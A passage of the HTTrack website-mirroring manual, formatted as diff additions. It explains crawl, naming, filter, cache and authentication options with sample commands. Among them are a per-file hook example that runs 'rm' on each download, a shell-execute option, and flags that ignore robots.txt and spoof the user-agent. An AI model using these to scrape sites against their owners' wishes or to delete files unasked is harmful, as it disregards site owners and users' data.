+ %L  add all URL located in this text file (one URL per line)
+
+
+ The links options allow you to control what links are
+followed and what links are not as well as to provide long lists of
+links to investigate.  Any setting other than the default for this
+option forces the engine to use less reliable and more complex parsing. 
+'Dirty' parsing means that links like 'xsgfd syaze="foo.gif"' will cause
+HTTrack to download foo.gif, even if HTTrack don't know what the "xsgfd
+syaze=" tag actually means! This option is powerful because some links
+might otherwise be missed, but it can cause errors in HTML or javascript.
+
+ This will direct the program to NOT search Javascript
+for unknown tag fields (e.g., it will find things like
+foo.location="bar.html"; but will not find things like bar="foo.gif";). 
+While I have never had a reason to use this, some users may decide that
+they want to be more conservative in their searches.  As a note,
+javascript imported files (.js) are not currently searched for URLs.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes '%P0'
+
+
+ Now here is a classic bit of cleaverness that 'does
+the right thing' for some cases.  In this instance, we are asking
+httrack to get images - like gif and jpeg files that are used by a web
+page in its display, even though we would not normally get them.  For
+example, if we were only getting a portion of a web site (e.g.,
+everything under the 'bob directory') we might want to get graphics from
+the rest of the web sote - or the rest of the web - that are used in
+those pages as well so that our mirror will look right.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -n
+
+
+ Here, we limit the collection to bob's area of the
+server - except that we get images and other such things that are used
+by bob in his area of the server.
+
+
+httrack http://www.shoesizes.com/bob/ -O /tmp/shoesizes -n
+
+
+ This option 'tests' all links - even those forbidden
+(by the robot exclusion protocol) - by using the 'HEAD' protocol to test
+for the presence of a file. 
+
+
+httrack http://www.shoesizes.com/ -O /tmp/shoesizes -t
+
+
+ In this case, we use a file to list the URLs we wish
+to mirror.  This is particularly useful when we have a lot to do and
+don't want to tirelessly type in URLs on command line after command line. 
+It's also useful - for example - if you update a set of mirrored sites
+evey evening.  You can set up a command like this to run automatically
+from your cron file.
+
+
+httrack -%L linkfile -O /tmp/shoesizes
+
+
+ This will update the mirror of your list of sites
+whenever it is run. 
+
+
+httrack -%L linkfile -O /tmp/shoesizes -B --update
+
+
+ The link file is also useful for things like this
+example where, after a binary image of a hard disk was analyzed (image)
+URLs found on that disk were collected by httrack:
+
+
+strings image | grep "http://" > list;
+httrack -%L list -O /tmp/shoesizes
+
+
+
+
+Mirror Build Options
+
+
+Build options:
+  NN  name conversion type (0 *original structure, 1+: see below)
+  N   user defined structure (-N "%h%p/%n%q.%t")
+  LN  long names (L1 *long names / L0 8-3 conversion)
+  K   keep original links (e.g. http://www.adr/link) (K0 *relative link)
+  x   replace external html links by error pages
+  o *generate output html file in case of error (404..) (o0 don't generate)
+  X *purge old files after update (X0 keep delete)
+  %x  do not include any password for external password protected websites (%x0 include) (--no-passwords)
+  %q *include query string for local files (information only) (%q0 don't include) (--include-query-string)
+
+
+ The user can define naming conventions for building
+the mirror of a site by using these options.  For example, to retain the
+original structure, the default is used.  This only modifies the
+structure to the extent that select characters (e.g., ~, :, <, >, \, and
+@) are replaced by _ in all pathnames. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -N0
+
+ OR
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes
+
+
+ In either case, the mirror will build with the same
+directory hierarchy and name structure as the original site.  For cases
+when you want to define your own structure, you use a string like this:
+
+
+httrack http://www.shoesizes.com/bob/ -O /tmp/shoesizes -N "%h%p/%n.%t"
+
+
+ In this case, %h, %p, $n, and %t stand for the href
+element (e.g., http://www.shoesizes.com or ftp://ftp.shoesizes.com), %p
+stands for the pathname (e.g., /bob/), %n stands for the name of the
+file, and %t stands for type (file extension).  The full list of these
+options follows:
+
+%n      Name of file without file type (ex: image)
+%N      Name of file, including file type (ex: image.gif)
+%t      File type (ex: gif)
+%p      Path [without ending /] (ex: /someimages)
+%h      Host name (ex: www.all.net)
+%M      URL MD5 (128 bits, 32 ascii bytes)
+%Q      query string MD5 (128 bits, 32 ascii bytes)
+%q      small query string MD5 (16 bits, 4 ascii bytes)
+%s?     Short name version (ex: %sN)
+
+
+ Other 'N' options include:
+
+
+
+Details: Option N
+  N0 Site-structure (default)
+  N1 HTML in web/, images/other files in web/images/
+  N2 HTML in web/HTML, images/other in web/images
+  N3 HTML in web/,  images/other in web/
+  N4 HTML in web/, images/other in web/xxx, where xxx is the file extension(all gif will be placed onto web/gif, for example)
+  N5 Images/other in web/xxx and HTML in web/HTML
+  N99 All files in web/, with random names (gadget !)
+  N100 Site-structure, without www.domain.xxx/
+  N101 Identical to N1 exept that "web" is replaced by the site's name
+  N102 Identical to N2 exept that "web" is replaced by the site's name
+  N103 Identical to N3 exept that "web" is replaced by the site's name
+  N104 Identical to N4 exept that "web" is replaced by the site's name
+  N105 Identical to N5 exept that "web" is replaced by the site's name
+  N199 Identical to N99 exept that "web" is replaced by the site's name
+  N1001 Identical to N1 exept that there is no "web" directory
+  N1002 Identical to N2 exept that there is no "web" directory
+  N1003 Identical to N3 exept that there is no "web" directory (option set for g option)
+  N1004 Identical to N4 exept that there is no "web" directory
+  N1005 Identical to N5 exept that there is no "web" directory
+  N1099 Identical to N99 exept that there is no "web" directory
+
+
+
+ Long names are normally used (the -L0
+option) but if you are imaging to a DOS file system or want
+accessibility from older versions of DOS and Windows, you can use the
+-L1 option to generate these filename sizes. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -L1
+
+
+ With the 'K' option, you can keep the original links
+in files.  While this is less useful in being able to view a web site
+froim the mirrored copy, it is vitally important if you want an accurate
+copy of exactly what was on the web site in the first place.  In a
+forensic image, for example, you might want to use this option to
+prevent the program from modifying the data as it is collected. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -K
+
+
+ In this case, instead of leaving external links (URLs
+that point to sites not being mirrored) in the pages, these links are
+replaced by pages that leave messages indicating that they could not be
+found.  This is useful for local mirrors not on the Internet or mirrors
+that are on the Internet but that are not supposed to lead users to
+external sites.  A really good use for this is that 'bugging' devices
+placed in web pages to track who is using them and from where will be
+deactivated byt his process. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -x
+
+
+ This option prevents the generation of '404' error
+files to replace files that were not found even though there were URLs
+pointing to them.  It is useful for saving space as well as eliminating
+unnecessary files in operations where a working web site is not the
+desired result. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -o0
+
+
+ This option prevents the authoatic purging of files
+from the mirror site that were not found in the original web site after
+an 'update' is done.  If you want to retain old data and old names for
+files that were renamed, this option should be used.  If you want an
+up-to-date reflection of the current web site, you should not use this option.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -X0
+
+
+ These options can be combined as desired to produce a
+wide range of different arrangements, from collections of only graphical
+files stored in a graphics area, to files identified by their MD5
+checksums only, all stored in the same directory.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes %x0 include
+
+
+ This will not include passwords for web sites.  If you
+mirror http://smith_john:foobar@www.privatefoo.com/smith/, and exclude
+using filters some links, these links will be by default rewritten with
+password data.  For example, "bar.html" will be renamed into
+http://smith_john:foobar@www.privatefoo.com/smith/bar.html This can be a
+problem if you don't want to disclose the username/password! The %x
+option tell the engine not to include username/password data in
+rewritten URLs.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes %q
+
+
+ This option is not very useful, because parameters are
+useless, as pages are not dynamic anymore when mirrored.  But some
+javascript code may use the query string, and it can give useful
+information.  For example: catalog4FB8.html?page=computer-science is
+clearer than catalog4FB8.html Therefore, this option is activated by
+default.
+
+
+Spider Options
+
+ These options provide for automation with regard to
+the remote server.  For example, some sites require that cookies be
+accepted and sent back in order to allow access.
+
+
+Spider options:
+ bN  accept cookies in cookies.txt (0=do not accept,* 1=accept)
+ u   check document type if unknown (cgi,asp..) (u0 don't check, * u1 check but /, u2 check always)
+ j   *parse Java Classes (j0 don't parse)
+ sN  follow robots.txt and meta robots tags (0=never,1=sometimes,* 2=always)
+ %h  force HTTP/1.0 requests (reduce update features, only for old servers or proxies)
+ %B  tolerant requests (accept bogus responses on some servers, but not standard!)
+ %s  update hacks: various hacks to limit re-transfers when updating
+ %A  assume that a type (cgi,asp..) is always linked with a mime type (-%A php3=text/html) (--assume )
+
+
+ By default, cookies are universally accepted and
+returned.  This makes for more effective collection of data, but allows
+the site to be identified with its collection of data more easily. To
+disable cookies, use this option:
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -b0
+
+
+ Some documents have known extension types (e.g.,
+html), while others have unknown types (e.g., iuh87Zs) and others may
+have misleading types (e.g., an html file with a 'gif' file extension. 
+These options provide for (0) not checking file types, (1) checking all
+file types except directories, and (2) checking all file types including
+directories. Choose from these options:
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -u0
+httrack http://www.shoesizes.com -O /tmp/shoesizes -u1
+httrack http://www.shoesizes.com -O /tmp/shoesizes -u2
+
+
+ Meta tags or 'robots.txt' files on a web site are used
+to indicate what files should and should not be visited by automatic
+programs when collectiong data.  The polite and prudent move for normal
+data collection (and the default) is to follow this indication:
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -s2
+
+
+ This follows the robots protocol and meta-tags EXCEPT
+in cases where the filters disagree with the robots protocols or
+meta-tags. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -s1
+
+
+ In this next case, we ignore meta-tags and robots.txt
+files completely and just take whatever we can get from the site.  The
+danger of this includes the fact that automated programs - like games or
+search engines may generate an unlimited number of nearly identical or
+identical outputs that will put us in an infinite loop collecting
+useless data under different names.  The benefit is that we will get all
+the data there is to get. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -s0
+
+
+ This next option uses strict HTTP/1.0 protocol.  This
+means the program will use HTTP/1.0 headers (as in RFC1945.TXT) and NOT
+extended 1.1 features described in RFC2616.TXT.  For example, reget
+(complete a partially downloaded file) is a HTTP/1.1 feature.  The Etag
+feature is also a HTTP/1.1 feature (Etag is a special identifier that
+allow to easily detect file changes).
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -%h
+
+
+ Some servers give responses not strictly within the
+requirements of the official http protocol.  These 'Bogus' responses can
+be accepted by using this option.  For example, when requesting foo.gif
+(5132 bytes), the server can, optionally, add:
+Content-length: 5132
+
+
+ This helps the client by allowing it to reserve a
+block of memory, instead of collecting each byte and re-reserving memory
+each time data is being received.  But some servers are bogus, and send
+a wrong filesize.  When HTtrack detects the end of file (connection
+broken), there are three cases:
+
+
+
+ 1- The connection has been closed by the server, and we
+have received all data (we have received the number of bytes incicated
+by the server).  This is fine because we have successfully received the
+file. 
+
+ 2- The connection has been closed by the server, BUT
+the filesize received is different from the server's headers: the
+connection has been suddenly closed, due to network problems, so we
+reget the file
+
+ 3- The connetion has been closed by the server, the
+filesize received is different from the server's headers, BUT the file
+is complete, because the server gave us a WRONG information!  In this
+case, we use the bogus server option:
+
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -%B
+
+
+ These options can be combined for the particular needs
+of the situaiton and are often adapted as a result of site-specific
+experiences.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -%s
+
+
+ This is a collection of "tricks" which are not really
+"RFC compliant" but which can save bandwidth by trying not to retransfer
+data in several cases.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -%A asp=text/html
+
+
+ The most important new feature for some people, maybe. 
+This option tells the engine that if a link is en countered, with a
+specific type (.cgi, .asp, or .php3 for example), it MUST assume that
+this link has always the same MIME type, for example the "text/html"
+MIME type.  This is VERY important to speed up many mirrors. 
+
+ We have done tests on big HTML files (approx.  150 MB,
+150,000,000 bytes!) with 100,000 links inside.  Such files are being
+parsed in approx.  20 seconds on my own PC by the latest optimized
+releases of HTTra ck.  But these tests have been done with links of
+known types, that is, html, gif, and so on..  If you have, say, 10,000
+links of unknown type, such as ".asp", this will cause the engine to
+test ALL t hese files, and this will SLOOOOW down the parser.  In this
+example, the parser will take hours, instead of 20 seconds! In this
+case, it would be great to tell HTTrack: ".asp pages are in fact HTML
+pages" This is possible, using: -%A asp=text/html
+
+ The -%A option can be replaced by the alias --assume
+asp=text/html which is MUCH more clear.  You can use multiple
+definitions, separed by ",", or use multiple options.  Therefore, these
+two lines are identical:
+
+--assume asp=text/html --assume php3=text/html --assume cgi=image/gif
+--assume asp=text/html,php3=text/html,cgi=image/gif
+
+
+ The MIME type is the standard well known "MIME" type. 
+Here are the most important ones:
+text/html       Html files, parsed by HTTrack
+image/gif       GIF files
+image/jpeg      Jpeg files
+image/png       PNG files
+
+
+ There is also a collection of "non standard" MIME types. Example:
+
+application/x-foo       Files with "foo" type
+
+
+ Therefore, you can give to all files terminated by
+".mp3" the MIME type: application/x-mp3
+
+ This allow you to rename files on a mirror.  If you
+KNOW that all "dat" files are in fact "zip" files ren amed into "dat",
+you can tell httrack:
+
+--assume dat=application/x-zip
+
+
+ You can also "name" a file type, with its original
+MIME type, if this type is not known by HTTrack.  This will avoid a test
+when the link will be reached:
+
+--assume foo=application/foobar
+
+
+ In this case, HTTrack won't check the type, because it
+has learned that "foo" is a known type, or MIME type
+"application/foobar".  Therefore, it will let untouched the "foo" type. 
+
+ A last remark, you can use complex definitions like:
+
+--assume asp=text/html,php3=text/html,cgi=image/gif,dat=application/x-zip,mpg=application/x-mp3,application/foobar
+
+
+ ..and save it on your .httrackrc file:
+
+set assume asp=text/html,php3=text/html,cgi=image/gif,dat=application/x-zip,mpg=application/x-mp3,application/foobar
+
+
+
+Browser Options
+
+ Browsers commonly leave footprints in web servers - as
+web servers leave footprints in the browser.
+
+
+Browser ID:
+  F  user-agent field (-F "user-agent name")
+ %F  footer string in Html code (-%F "Mirrored [from host %s [file %s [at %s]]]"
+ %l  preffered language (-%l "fr, en, jp, *" (--language )
+
+
+ The user-agent field is used by browsers to determine
+what kind of browser you are using as well as other information - such
+as your system type and operating system version.  The 'User Agent'
+field can be set to indicate whatever is desired to the server.  In this
+case, we are claiming to be a netscape browser (version 1.0) running a
+non-exitent Solaris operating system version on a Sun Sparcstation.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -F "Mozilla 1.0, Sparc, Solaris 23.54.34"
+
+
+ On the other side, we may wish to mark each page
+collected with footer information so that we can see from the page where
+it was collected from, when, and under what name it was stored. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -%F "Mirrored [from host %s [file %s [at %s]]]"
+
+
+ This makes a modified copy of the file that may be
+useful in future identification.  While it is not 'pure' in some senses,
+it may (or may not) be considered siilar to a camera that adds time and
+date stamps from a legal perspective. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -%l "fr, en, jp, *"
+
+
+ "I prefer to have pages with french language, then
+english, then japanese, then any other language"
+
+
+Log, Cache, and Index Options
+
+ A lot of options are available for log files, indexing
+of sites, and cached results:
+
+
+Log, index, cache
+  C  create/use a cache for updates and retries (C0 no cache,C1 cache is prioritary,* C2 test update before)
+  k  store all files in cache (not useful if files on disk)
+ %n  do not re-download locally erased files
+  Q  log quiet mode (no log)
+  q  quiet mode (no questions)
+  z  extra infos log
+  Z  debug log
+  v  verbose screen mode
+  %v display on screen filenames downloaded (in realtime) (--display)
+  f  log file mode
+  f2 one single log file (--single-log)
+  I  *make an index (I0 don't make)
+  %I make an searchable index for this mirror (* %I0 don't make) (--search-index)
+
+
+
+ A cache memory area is used for updates and retries to
+make the process far more efficient than it would otherwise be.  You can
+choose to (0) go without a cache, (1) do not check remotly if the file
+has been updated or not, just load the cache content, or (2) see what
+works best and use it (the default).  Here is the no cache example. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -C0
+
+
+ The cache can be used to store all files - if desired
+- but if files are being stored on disk anyway (the normal process for a
+mirroring operation), this is not helpful.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -k
+
+
+ In some cases, a file from a mirror site is erased
+locally.  For example, if a file contains inappropriate content, it may
+be erased from the mirror site but remain on the remote site.  This
+option allows you to leave deleted files permanently deleted when you
+do a site update.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -update '%n'
+
+
+ If no log is desired, the following option should be
+added. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -Q
+
+
+ If no questions should be asked of the user (in a mode
+that would otherwise ask questions), the following option should be
+added. 
+
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -q
+
+ By adding these options, you get (-z) extra log
+information or (-Z) debugging information, and (-v) verbose screen
+output.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -z -Z -v
+
+
+ Multiple log files can be created, but by default,
+this option is used to put all logs into a single log file. 
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -f2
+
+
+ Finally, an index is normally made of the sites
+mirrored (a pointer to the first page found from each specified URL) in
+an index.html file in the project directory.  This can be prevented
+through the use of this option:
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -I0
+
+
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes %v
+
+
+ Animated information when using consol-based version,
+example:
+17/95: localhost/manual/handler.html (6387 bytes) - OK
+
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes f2
+
+
+ Do not split error and information log (hts-log.txt
+and hts-err.txt) - use only one file (hts-log.txt)
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -%I linux.localdomain
+
+
+ Still in testing, this option asks the engine to
+generate an index.txt, useable by third-party programs or scripts, to
+index all words contained in html files. The above example will produce
+index.txt:
+
+..
+abridged
+        1 linux/manual/misc/API.html
+        =1
+        (0)
+absence
+        3 linux/manual/mod/core.html
+        2 linux/manual/mod/mod_imap.html
+        1 linux/manual/misc/nopgp.html
+        1 linux/manual/mod/mod_proxy.html
+        1 linux/manual/new_features_1_3.html
+        =8
+        (0)
+absolute
+        3 linux/manual/mod/mod_auth_digest.html
+        1 linux/manual/mod/mod_so.html
+        =4
+        (0)
+..
+
+
+
+Expert User Options
+
+ For expert users, the following options provide further
+options.
+
+
+Expert options:
+  pN priority mode: (* p3)
+      0 just scan, don't save anything (for checking links)
+      1 save only html files
+      2 save only non html files
+     *3 save all files
+      7 get html files before, then treat other files
+  S   stay on the same directory
+  D  *can only go down into subdirs
+  U   can only go to upper directories
+  B   can both go up&down into the directory structure
+  a  *stay on the same address
+  d   stay on the same principal domain
+  l   stay on the same location (.com, etc.)
+  e   go everywhere on the web
+ %H  debug HTTP headers in logfile
+
+
+ One interesting application allows the mirror utility
+to check for valid and invalid links on a site.  This is commonly used
+in site tests to look for missing pages or other html errors.  I often
+run such programs against my web sites to verify that nothing is missing.
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -p0
+
+
+ To check for valid links outside of a site, the '-t'
+option can be used:
+
+
+httrack http://www.shoesizes.com -O /tmp/shoesizes -t
+
+
+ These options can be combined, for example, to provide
+a service that checks sites for validity of links and reports back a
+list of missing files and statistics.
+
+ Other options allow the retention of select files -
+for example - (1) only html files, (2) only non-html files, (3) all
+files, and (7) get all html files first, then get other files.  This
+last option provides a fast way to get the web pointers so that, for
+example, a time limited collection process will tend to get the most
+important content first. 
+
+ In many cases, we only want the files froma given
+directory.  In this case, we specify this option:
+
+
+httrack http://www.shoesizes.com/bob/ -O /tmp/shoesizes -S
+
+
+ This option allows the mirror to go only into
+subdirectories of the initial directory on the remote host.  You might
+want to combine it with the  -n  option to get all
+non-html files linked from the pages you find. 
+
+
+httrack http://www.shoesizes.com/bob/ -O /tmp/shoesizes -D -n
+
+
+ If you only want to work your way up the directory
+structure from the specified URL (don't ask me why you might want to do
+this), the following command line is for you:
+
+
+httrack http://www.shoesizes.com/bob/ -O /tmp/shoesizes -U
+
+
+ If you want to go both up and down the directory
+structure (i.e., anywhere on on this site that the requested page leads
+you to), this option will be best:
+
+
+httrack http://www.shoesizes.com/bob/ -O /tmp/shoesizes -B
+
+
+ The default is to remain on the same IP address - or
+host name.  This option specifes this explicitly:
+
+
+httrack http://www.shoesizes.com/bob/ -O /tmp/shoesizes -a
+
+
+ If you want to restrict yourself only to the same
+principal domain (e.g., include sites liks ftp.shoesizes.com), you would
+use this option. 
+
+
+httrack http://www.shoesizes.com/bob/ -O /tmp/shoesizes -d
+
+
+ To restrict yourself to the same major portion of the
+Internet (e.g., .com, .net, .edu, etc.) try this option:
+
+
+httrack http://www.shoesizes.com/bob/ -O /tmp/shoesizes -l
+
+
+ Finally, if you want to mirror the whole Internet - at
+least every place on the internet that is ever led to - either directly
+or indirectly - from the starting point, use this one...  Please note
+that this will almost always run you out of resources unless you use
+other options - like limiting the depth of search.
+
+
+httrack http://www.shoesizes.com/bob/ -O /tmp/shoesizes -e
+
+
+ Last but not least, you can include debugging
+informaiton on all headers from a collection process by using this
+option:
+
+
+httrack http://www.shoesizes.com/bob/ -O /tmp/shoesizes -'%H'
+
+
+ The options S, D, U, B, a, d, l, and e can be replaces
+with filter options approximately as follows:
+
+
+S     -www.foo.com/* +www.foo.com/bar/*[file]
+D     (default)
+U     +www.foo.com/bar/* -www.foo.com/*[name]/*
+B     +www.foo.com/bar/*
+a     (default)
+d     +*[name].foo.com/*
+l     +*[name].com/*
+e     +* (this is crazy unless a depth limit is used!)
+
+
+
+Guru Options - DO NOT USE!!!
+
+ This is a new section, for all "not very well
+documented options".  You can use them, in fact, do not believe what is
+written above!
+
+ #0  Filter test (-#0 '*.gif' 'www.bar.com/foo.gif')
+
+
+  To test the filter system. Example:
+
+$ httrack -#0 'www.*.com/*foo*bar.gif' 'www.mysite.com/test/foo4bar.gif'
+www.mysite.com/test/foo4bar.gif does match www.*.com/*foo*bar.gif
+
+
+ #f  Always flush log files
+
+
+ Useful if you want the hts-log.txt file to be flushed
+regularly (not buffered)
+
+ #FN Maximum number of filters
+
+
+ Use if if you want to use more than the maximum
+default number of filters, that is, 500 filters: -#F2000 for 2,000 filters
+
+ #h  Version info
+
+
+ Informations on the version number
+
+ #K  Scan stdin (debug)
+
+
+ Not useful (debug only)
+
+ #L  Maximum number of links (-#L1000000)
+
+
+ Use if if you want to use more than the maximum
+default number of links, that is, 100,000 links: -#L2000000 for 2,000,000 links
+
+ #p  Display ugly progress information
+
+
+  Self-explanatory :) I will have to improve this one
+
+ #P  Catch URL
+
+
+ "Catch URL" feature, allows to setup a temporary proxy
+to capture complex URLs, often linked with POST action (when using form
+based authentication)
+
+ #R  Old FTP routines (debug)
+
+
+ Debug..
+
+ #T  Generate transfer ops. log every minutes
+
+
+ Generate a log file with transfer statistics
+
+ #u  Wait time
+
+
+ "On hold" option, in seconds
+
+ #Z  Generate transfer rate statictics every minutes
+
+
+ Generate a log file with transfer statistics
+
+ #!  Execute a shell command (-#! "echo hello")
+
+
+ Debug..
+
+
+Command-line Specific Options
+
+
+Command-line specific options:
+  V execute system command after each files ($0 is the filename: -V "rm \$0") (--userdef-cmd )
+
+
+ This option is very nice for a wide array of actions
+that might be based on file details.  For example, a simple log of all
+files collected could be generated by using:
+
+
+httrack http://www.shoesizes.com/bob/ -O /tmp/shoesizes -V "/bin/echo \$0"
+
+
+ %U run the engine with another id when called as root (-%U smith) (--user )
+
+
+ Change the UID of the owner when running as r00t
+
+  Details: User-defined option N
+    %[param] param variable in query string
+
+
+
+This new option is important: you can include query-string content when forming the destination filename!
+
+Example: you are mirroring a huge website, with many pages named as:
+www.foo.com/catalog.php3?page=engineering
+www.foo.com/catalog.php3?page=biology
+www.foo.com/catalog.php3?page=computing
+..
+
+
+ Then you can use the -N option:
+
+httrack www.foo.com -N "%h%p/%n%[page].%t"
+
+
+ If found, the "page" parameter will be included after
+the filename, and the URLs above will be saved as:
+
+/home/mywebsites/foo/www.foo.com/catalogengineering.php3
+/home/mywebsites/foo/www.foo.com/catalogbiology.php3
+/home/mywebsites/foo/www.foo.com/catalogcomputing.php3
+...
+
+
+
+Shortcuts
+
+ These options provide shortcust to combinations
+of other options that are commonly used.
+
+
+Shortcuts:
+--mirror       *make a mirror of site(s) (default)
+--get           get the files indicated, do not seek other URLs (-qg)
+--list     add all URL located in this text file (-%L)
+--mirrorlinks   mirror all links in 1st level pages (-Y)
+--testlinks     test links in pages (-r1p0C0I0t)
+--spider        spider site(s), to test links: reports Errors & Warnings (-p0C0I0t)
+--testsite      identical to --spider
+--skeleton      make a mirror, but gets only html files (-p1)
+--update              update a mirror, without confirmation (-iC2)
+--continue            continue a mirror, without confirmation (-iC1)
+--catchurl            create a temporary proxy to capture an URL or a form post URL
+--clean               erase cache & log files
+--http10              force http/1.0 requests (-%h)
+
+
+ Mirror is the default behavior.  It is detailed
+earlier.
+
+ get simply gets the files specified on the command
+line.
+
+ The list option is useful for including a list of
+sites to collect data from.
+
+ The mirrorlinks option is ideal for using the result
+of a previous search (like a list of pages found in a web search or
+somebody's URL collection) to guide the collection of data.  With
+additional options (such as depth 1) it can be used to collect all of
+the pages linked to a given page without going further.  Here is an example:
+
+
+httrack http://www.shoesizes.com/bob/ -O /tmp/shoesizes --mirrorlinks -e -r1
+
+
+ Testing links in pages is useful for automating the
+verification that a link from a file is not pointing to a non-existent
+page.
+
+ The spider option does a site test automatically and
+returns errors for broken links. 
+
+ The skeleton option makes a mirror of html files only.
+
+ The update option updates a site to match a remote
+mirror. 
+
+ The continue option continues a previously terminated
+mirroring activity. This is useful for all sorts of mirror failures.
+
+ The catchurl option is a small application designed to
+catch difficult pages, like sites protected via formulas.  You can see
+at http://httrack.free.fr/HelpHtml/addurl.html a Windows description of
+this application.  The purpose is to create a temporary proxy, that will
+catch the user request to a page, and then store this request to
+continue the mirror. For example,
+
+1. browse www.foo.com/bar/ until you have a page with a form
+2. fill this form to enter the site BUT do not click "submit"
+3. start the --catchurl application
+4. change your browser proxy settings according to the --catchurl application
+5. click on "submit" on your browser
+6. HTTrack has now captured this click and has stored it
+7. restore your proxy settings
+8. (click back in your browser)
+
+
+ The clean option erases cache and log files.
+
+ The http10 option forces http/1.0 requests (the same
+as -%h). 
+
+
+
+ Filters 
+
+ Filters are normally placed at the end of the command
+line, but can be intermixed with other command line options if desired,
+except that if they are placed between (for example) the '-O' and the
+pathname, your results may be different than you might otherwise
+predict.  There are two sorts of filters, filters that indicate what to
+include (+) and filters that indicate what to exclude (-). 
+
+ Starting with the initially specified URLs, the
+default operation mode is to mirror starting from these URLs downward
+into the directory structure of the host (i.e.  if one of your starting
+pagees was www.all.net/test/a.html, all links starting with www.all.net/test/
+will be collected but links in www.all.net/anything-else will not be
+collected, because they are in a higher directory strcuture level.  This
+prevents HTTrack from mirroring the whole site.  If you may want to
+download files are in other parts of the site or pf particular types -
+or to not download files in a particular part of the site or of a
+particular type, you can use filters to specify more precisely what to
+collect and what not to collect. 
+
+ The syntax for filters is similar to Unix regular
+expressions.  A simple filter can be made by using characters from the
+URL with '*' as a wildcard for 0 or more characters - with the last
+filter rule having the highest precendence.  An initial '+' indicates
+URLs to include and an initial '-' indicated URLs to not include.  For
+example:
+
+
+'-*' '+*jpg'
+
+
+ would only get files ending in the 'jpg' extension,
+while:
+
+
+'-*jpg'
+
+
+ would not get any files ending in the jpg extension. 
+You can add more filter lines to restrict or expand the scope as
+desired.  The last rule is checked first, and so on - so that the rules
+are in reverse priority order.  Here's an example:
+
+    
+    
+    +*.gif -image*.gif
+    
+    Will accept all gif files BUT image1.gif,imageblue.gif,imagery.gif and so on
+    
+    
+    -image*.gif +*.gif
+    
+    Will accept all gif files, because the second pattern is prioritary (because it is defined AFTER the first one)
+    
+    
+
+ The full syntax for filters follows:
+
+    
+      
+        *
+        any characters (the most commonly used)
+      
+      
+        *[file] or *[name]
+        any filename or name, e.g. not /,? and ; characters
+      
+      
+        *[path]
+        any path (and filename), e.g. not ? and ; characters
+      
+      
+        *[a,z,e,r,t,y]
+        any letters among a,z,e,r,t,y
+      
+      
+        *[a-z]
+        any letters
+      
+      
+        *[0-9,a,z,e,r,t,y]
+        any characters among 0..9 and a,z,e,r,t,y
+      
+      
+        *[]
+        no characters must be present after
+      
+
+  *[< NN]
+ size less than NN Kbytes
+
+
+  *[> PP]
+ size more than PP Kbytes
+
+
+  *[< NN > PP]
+ size less than NN Kbytes and more than PP Kbytes
+
+    
+
+
+ Here are some examples of filters: (that can be
+generated automatically using the interface)
+
+    
+      
+        -www.all.net* 
+        This will refuse/accept this web site (all links located in it will be rejected)
+      
+      
+        +*.com/*
+        This will accept all links that contains .com in them
+      
+      
+        -*cgi-bin* 
+        This will refuse all links that contains cgi-bin in them
+      
+      
+        +*.com/*[path].zip 
+        This will accept all zip files in .com addresses
+      
+      
+        -*someweb*/*.tar*
+        This will refuse all tar (or tar.gz etc.) files in hosts containing someweb
+      
+      
+        +*/*somepage*
+        This will accept all links containing somepage (but not in the address)
+      
+      
+        -*.html
+        This will refuse all html files from anywhere in the world. 
+      
+      
+        +*.html*[]
+        Accept *.html, but the link must not have any supplemental characters
+        at the end(e.g., links with parameters, like www.all.net/index.html?page=10
+will not match this filter)
+      
+
+  -*.gif*[> 5] -*.zip +*.zip*[< 10]
+ refuse all gif files smaller than 5KB, exlude all zip files, EXCEPT zip files smaller than 10KB 
+
+    
+
+
+
+ User Authentication Protocols 
+
+ Smoe servers require user ID and password information
+in order to gain access.  In this example, the user ID smith with
+password foobar is accessing www.all.net/private/index.html
+
+
+httrack smith:foobar@www.all.net/private/index.html
+
+
+ For more advanced forms of authentication, such as
+those involving forms and cookies of various sorts, an emerging
+capability is being provided through th URL capture features
+(--catchurl).  This feature don't work all of the time.
+
+
+
+ .httrackrc 
+
+ A file called '.httrackrc' can be placed in the
+current directory, or if not found there, in the home directory, to
+include command line options.  These options are included whenever
+httrack is run. A sample .httrack follows:
+
+
+ set sockets 8
+ set retries 4
+ index on
+ set useragent "Mozilla [en] (foo)"
+ set proxy proxy:8080
+
+
+ But the syntax is not strict, you can use any of
+these:
+
+
+ set sockets 8
+ set sockets=8
+ sockets=8
+ sockets 8
+
+
+
+ .httrackrc is sought in the following sequence with
+the first occurence used:
+
+
